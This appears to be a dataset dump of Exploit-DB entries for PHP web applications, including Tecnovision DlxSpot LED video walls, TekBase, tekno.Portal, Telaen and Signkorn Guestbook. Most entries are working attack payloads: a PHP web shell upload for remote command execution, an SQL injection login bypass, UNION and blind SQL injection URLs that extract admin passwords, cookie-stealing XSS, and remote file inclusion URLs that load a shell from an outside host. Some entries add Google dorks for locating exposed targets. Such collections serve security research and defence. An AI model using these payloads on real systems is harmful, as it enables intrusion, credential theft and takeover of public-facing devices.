deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42755
Description: Tecnovision DLX Spot - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-05-19
Author: Simon Brannstrom

Exploit:
# Exploit Title: DlxSpot - Player4 LED video wall - Arbitrary File Upload
to RCE
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: >1.5.10
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls
all over the world, they are used in football arenas, concert halls,
shopping malls, as roadsigns etc.
# CVE: CVE-2017-12929
# Linked CVE's: CVE-2017-12928, CVE-2017-12930.

# Visit my github page at
https://github.com/unknownpwn/unknownpwn.github.io/blob/master/README.md
for complete takeover of the box, from SQLi to root access.
###############################################################################################################################

Arbitrary File Upload leading to Remote Command Execution:

1. Visit http://host/resource.php and upload PHP shell. For example: <?php
system($_GET["c"]); ?>
2. RCE via http://host/resource/source/shell.php?c=id
3. Output: www-data

TIMELINE:
2017-05-14 - Discovery of vulnerabilities.
2017-05-15 - Contacted Tecnovision through contact form on manufacturer
homepage.
2017-06-01 - No response, tried contacting again through several contact
forms on homepage.
2017-08-10 - Contacted Common Vulnerabilities and Exposures (CVE)
requesting CVE assignment.
2017-08-17 - Three CVE's assigned for the vulnerabilities found.
2017-08-22 - With help from fellow hacker and friend, byt3bl33d3r, sent an
email in Italian to the company.
2017-09-18 - No response, full public disclosure.

  DEDICATED TO MARCUS ASTROM
FOREVER LOVED - NEVER FORGOTTEN
Exploit-DB #42754
Description: Tecnovision DLX Spot - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-05-19
Author: Simon Brannstrom

Exploit:
# Exploit Title: DlxSpot - Player4 LED video wall - Admin Interface SQL
Injection
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: >1.5.10
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls
all over the world, they are used in football arenas, concert halls,
shopping malls, as roadsigns etc.
# CVE: CVE-2017-12930
# Linked CVE's: CVE-2017-12928, CVE-2017-12929

# Visit my github page at
https://github.com/unknownpwn/unknownpwn.github.io/blob/master/README.md
for complete takeover of the box, from SQLi to full root access.
###############################################################################################################################

DlxSpot Player 4 above version 1.5.10 suffers from an SQL injection
vulnerability in the admin interface login and is exploitable the following
way:

username:admin
password:x' or 'x'='x

TIMELINE:
2017-05-14 - Discovery of vulnerabilities.
2017-05-15 - Contacted Tecnovision through contact form on manufacturer
homepage.
2017-06-01 - No response, tried contacting again through several contact
forms on homepage.
2017-08-10 - Contacted Common Vulnerabilities and Exposures (CVE)
requesting CVE assignment.
2017-08-17 - Three CVE's assigned for the vulnerabilities found.
2017-08-22 - With help from fellow hacker and friend, byt3bl33d3r, sent an
email in Italian to the company.
2017-09-18 - No response, full public disclosure.

  DEDICATED TO MARCUS ASTROM
FOREVER LOVED - NEVER FORGOTTEN
Exploit-DB #35814
Description: TEDE Simplificado 1.01/S2.04 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-06-01
Author: KnocKout

Exploit:
source: https://www.securityfocus.com/bid/48067/info

TEDE Simplificado is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

TEDE Simplificado v1.01 and vS2.04 are vulnerable; other versions may also be affected. 

http://www.example.com/tde_busca/processaPesquisa.php?pesqExecutada=1&id=663%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%280x7e,0x27,unhex%28hex%28database%28%29%29%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1

http://www.example.com/tde_busca/tde_fut.php?id=10%20union%20select%201,2,3,4
Exploit-DB #21509
Description: Teekai Tracking Online 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-06-03
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4924/info

Teekai's Tracking Online does not adequately filter HTML tags from certain URL parameters, making it prone to cross-site scripting attacks. Attackers may exploit this by creating a malicious link to a vulnerable webpage.

http://target/page.php?action=view&id=1<script>alert(document.cookie)</script >
Exploit-DB #8977
Description: TekBase All-in-One 3.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-06-17
Author: n3wb0ss

Exploit:
############################
# Author: n3wb0ss
# Date: 15/06/09
# Contact: n3wboss@Safe-mail.net
############################
# Software: TekBase All-in-One 3.1 
# Vendor: tekbase.de
# Example: http://demo.tekbase.de/
# Vendor contacted: No
# Risk: High
############################
# I found this website on a german board, looking for another script.
# Looks to me, like a Gameserver,TS-Server,Whatever-Server-Managing Script. No matter...
# It's vuln I found a lot more, but I decided to release just two examples to the public.
# U need accessdate, you can get them for demo on tekbase.de (Admin&Customer-Login)
############################
# Here it is (adminaccess needed):
# Unfortunately I can't provide any sourcecode of this shit... it's closed source crap. But I think it should be easy to get it :P
# Have fun!
# POC: 
http://demo.tekbase.de/admin.php?op=adminSupport&zahl=0&torder=&tcounter=15&ids=99991%27/**/unIon/**/Select/**/1,2,3,4,CONCAT(unhex(hex(TABLE_NAME))),6,7,8,9,10,11/**/frOM/**/INFORMATION_SCHEMA.COLUMNS/**/liMIT/**/-1/*

############################
# Second one( just be a member):
# POC:
http://demo.tekbase.de/members.php?op=membersBills&y=-2007%27/**/unION/**/SeleCT/**/1,TABLE_NAME,3,4,5,6,7,8/**/FroM/**/INFORMATION_SCHEMA.TABLES/*
http://demo.tekbase.de/members.php?op=membersBills&y=-2007%27/**/unION/**/SeleCT/**/1,group_concAT(admin,0x3a,password),3,4,5,6,7,8/**/FroM/**/teklab_admin/*

############################
# As said before, just 2 of many vulns
# 
#
# H4ppy Gr33tinGs to the only On3
#
###########################

# milw0rm.com [2009-06-17]
Exploit-DB #27933
Description: Tekno.Portal - 'Bolum.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-01
Author: SpC-x

Exploit:
source: https://www.securityfocus.com/bid/18216/info

Tekno.Portal is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/path/bolum.php?id=[SQL]
Exploit-DB #37541
Description: tekno.Portal 0.1b - 'anket.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-07-25
Author: Socket_0x03

Exploit:
source: https://www.securityfocus.com/bid/54698/info

tekno.Portal is prone to an SQL-injection vulnerability.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

tekno.Portal 0.1b is vulnerable; other versions may also be affected. 

 http://www.example.com/teknoportal/anket.php?id=[SQLi]
Exploit-DB #37567
Description: tekno.Portal 0.1b - 'link.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-08-01
Author: Socket_0x03

Exploit:
source: https://www.securityfocus.com/bid/54786/info

tekno.Portal is prone to an SQL-injection vulnerability.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

tekno.Portal 0.1b is vulnerable; other versions may also be affected. 

 http://www.example.com/teknoportal/link.php?kat=[Blind SQL Injection]
Exploit-DB #12552
Description: tekno.Portal 0.1b - 'makale.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-10
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

tekno.Portal v 0.1b (makale.php id) SQL Injection Vulnerability

-------------------------------------------------------------------------------------------
 
Author: CoBRa_21
 
Mail: uyku_cu@windowslive.com
 
Script Name: tekno.Portal v 0.1b
 
Download: http://sourceforge.net/projects/teknoportal/
 
-------------------------------------------------------------------------------------------
 
Exploit:
 
http://localhost/teknoportal/makale.php?id=-1+union+select+0,1,version(),3,4,5,6,7
 
-------------------------------------------------------------------------------------------

Her&#351;ey Vatan &#304;çin;
Exploit-DB #38548
Description: Telaen - Information Disclosure
Type: webapps
Platform: php
Date: 2013-06-03
Author: Manuel García Cárdenas

Exploit:
source: https://www.securityfocus.com/bid/60340/info

Telaen is prone to an information-disclosure vulnerability.

Successful exploits will allow attackers to obtain sensitive information that may aid in further attacks.

Versions prior to Telaen 1.3.1 are vulnerable.

hhtp://www.example.com//telaen/inc/init.php
Exploit-DB #38545
Description: Telaen 2.7.x - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-06-04
Author: Manuel García Cárdenas

Exploit:
source: https://www.securityfocus.com/bid/60288/info

Telaen is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to Telaen 1.3.1 are vulnerable. 

http://www.example.com/telaen/index.php?tid=default&lid=en_UK&f_email="><script>alert("XSS")</script>
Exploit-DB #38546
Description: Telaen 2.7.x - Open Redirection
Type: webapps
Platform: php
Date: 2013-06-04
Author: Manuel García Cárdenas

Exploit:
source: https://www.securityfocus.com/bid/60290/info

Telaen is prone to an open-redirection vulnerability.

An attacker can leverage this issue by constructing a crafted URI and enticing a user to follow it. When an unsuspecting victim follows the link, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Other attacks are possible.

Versions prior to Telaen 1.3.1 are vulnerable. 

http://www.example.com/telaen/redir.php?http://www.malicious-site.com
Exploit-DB #33909
Description: Tele Data's Contact Management Server 0.9 - 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-28
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/39799/info

The Tele Data's Contact Management Server is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database

Tele Data's Contact Management Server 0.9 is vulnerable; other versions may also be affected. 

The following proof-of-concept code is available:

javascript:document.forms[0][0].setAttribute("value","' or 1=0 UNION SELECT 1 as RecID,0,'' AS Password,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM Users;--");document.forms[0].submit();
Exploit-DB #10165
Description: TelebidAuctionScript - 'aid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-11-17
Author: Hussin X

Exploit:
TelebidauctionScript(aid) Blind SQL Injection Vulnerability
____________________________________

Author : Hussin X

Home : www.IQ-TY.com

email : darkangel_g85@Yahoo.com

____________________________________

Vendor : http://www.telebidauctionscript.com/

Demo :
_______


http://server/allauctions.php?aid=2+and+1=1 (true)


http://server/allauctions.php?aid=2+and+1=0 (false )


:: Table ::

http://server/allauctions.php?aid=2+and+(SELECT+1+from+admin+limit+0,1)=1


:: column pass and username ::

http://server/allauctions.php?aid=2+and+(SELECT+substring(concat(1,pass),1,1)+from+admin+limit 0,1)=1

http://server/allauctions.php?aid=2 and (SELECT+substring(concat(1,username),1,1) from admin limit 0,1)=1

note : Use the "bsqlbf" to write detailed information

Greetz
WwW.IQ-ty.CoM , Tryag.cc

| CraCkEr | Cyber-Zone | str0ke | jiko
Exploit-DB #2354
Description: Telekorn Signkorn Guestbook 1.3 - 'dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: SHiKaA

Exploit:
#==============================================================================================
#Signkorn Guestbook <= v1.3 (dir_path) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://warez.gtasoft.ru/skripts/SignKorn.Guestbook.(SL).v1.1.PHP.NULL-DGT.zip      
#                                                                      
#Version : v1.3 & all versions bellow                                            
#                                                        
#================================================================================================
#
#Dork : "Signkorn Guestbook 1.3" & "Signkorn Guestbook 1.1 " Signkorn Guestbook 1.2"
#
#================================================================================================
#Bug in : includes/log.inc.php
#
#Vlu Code :
#--------------------------------
#      if ($_SESSION['permission'] == "yes") {
#  
#    // ########### Admin Menu #############
#    include($dir_path . '/includes/admin.menu.inc.php');
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/includes/log.inc.php?_SESSION[permission]=yes&dir_path=http://SHELLURL.COM?&cmd=id
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : CCtream - Cyper-worrier team
# Special Thx To : Str0ke & simoo
==================================================================================================

# milw0rm.com [2006-09-12]
Exploit-DB #28541
Description: Telekorn Signkorn Guestbook 1.x - '/admin/admin.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
                   
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                   
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
                   
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/admin/admin.php?dir_path=[U r Evil Script] ;
Exploit-DB #28540
Description: Telekorn Signkorn Guestbook 1.x - '/admin/config.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
                  
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                  
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
                  
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/admin/config.php?dir_path=[U r Evil Script] ;
Exploit-DB #28539
Description: Telekorn Signkorn Guestbook 1.x - '/admin/index.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
                 
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                 
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
                 
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/admin/index.php?dir_path=[U r Evil Script] ;
Exploit-DB #28538
Description: Telekorn Signkorn Guestbook 1.x - '/admin/log.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
                
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
                
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/admin/log.php?dir_path=[U r Evil Script] ;
Exploit-DB #28537
Description: Telekorn Signkorn Guestbook 1.x - '/admin/preview.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
               
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
               
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
               
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/admin/preview.php?dir_path=[U r Evil Script] ;
Exploit-DB #28532
Description: Telekorn Signkorn Guestbook 1.x - '/help/de/adminhelp0.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
          
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
          
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
          
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/de/adminhelp0.php?dir_path=[U r Evil Script] ;
Exploit-DB #28533
Description: Telekorn Signkorn Guestbook 1.x - '/help/de/adminhelp1.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
           
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
           
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
           
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/de/adminhelp1.php?dir_path=[U r Evil Script] ;
Exploit-DB #28534
Description: Telekorn Signkorn Guestbook 1.x - '/help/de/adminhelp2.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
            
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
            
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
            
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/de/adminhelp2.php?dir_path=[U r Evil Script] ;
Exploit-DB #28535
Description: Telekorn Signkorn Guestbook 1.x - '/help/de/adminhelp3.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
             
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
             
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
             
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/de/adminhelp3.php?dir_path=[U r Evil Script] ;
Exploit-DB #28528
Description: Telekorn Signkorn Guestbook 1.x - '/help/en/adminhelp0.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
      
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
      
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/en/adminhelp0.php?dir_path=[U r Evil Script] ;
Exploit-DB #28529
Description: Telekorn Signkorn Guestbook 1.x - '/help/en/adminhelp1.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
       
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
       
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/en/adminhelp1.php?dir_path=[U r Evil Script] ;
Exploit-DB #28530
Description: Telekorn Signkorn Guestbook 1.x - '/help/en/adminhelp2.php?dir_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: ThE_LeO

Exploit:
source: https://www.securityfocus.com/bid/19977/info
        
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
        
Versions 1.3 and earlier are affected by this issue.

http://www.example.Com/[Script]/help/en/adminhelp2.php?dir_path=[U r Evil Script] ;